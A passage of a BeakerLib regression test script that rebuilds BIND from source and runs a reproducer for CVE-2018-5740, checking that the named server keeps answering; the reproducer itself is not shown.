|
||||
rlRun "dnf -y builddep *.spec"
|
||||
else
|
||||
rlWarn "there is nor yum-utils neither dnf-utils for install dependencies, ENJOY!"
|
||||
fi
|
||||
|
||||
# stop bind if it is running
|
||||
service named stop
|
||||
rlPhaseEnd
|
||||
|
||||
rlPhaseStartTest
|
||||
# rebuild from source
|
||||
rlRun "rpmbuild -ba *.spec &> $TMPDIR/build.txt"
|
||||
|
||||
# the test
|
||||
rlRun "cd $TOPDIR/BUILD/bind*"
|
||||
|
||||
rlLogInfo "Test takes place in `pwd`"
|
||||
|
||||
rlRun "chown -R root ."
|
||||
|
||||
rlRun "./bin/tests/system/ifconfig.sh up" 0 "Setup fake network interfaces."
|
||||
rlRun "pushd $TMPDIR/CVE-2018-5740"
|
||||
rlRun "bash reproduce.sh > /tmp/log.me"
|
||||
rlRun "bash reproduce.sh >> /tmp/log.me"
|
||||
rlRun "grep exiting /tmp/log.me" 1
|
||||
rlRun "grep 'ANSWER: 1' /tmp/log.me" 0
|
||||
rlLog "`echo log;cat /tmp/log.me`"
|
||||
rlRun "popd" 0 "back from CVE testdir"
|
||||
rlRun "./bin/tests/system/ifconfig.sh down" 0 "Remove fake network interfaces."
|
||||
|
||||
rlPhaseEnd
|
||||
|
||||
rlPhaseStartCleanup
|
||||
rlRun "popd"
|
||||
rlRun "rm -r $TMPDIR /tmp/log.me" 0 "Removing tmp directory"
|
||||
rlPhaseEnd
|
||||
rlJournalEnd
|
||||
Loading…
Add table
Add a link
Reference in a new issue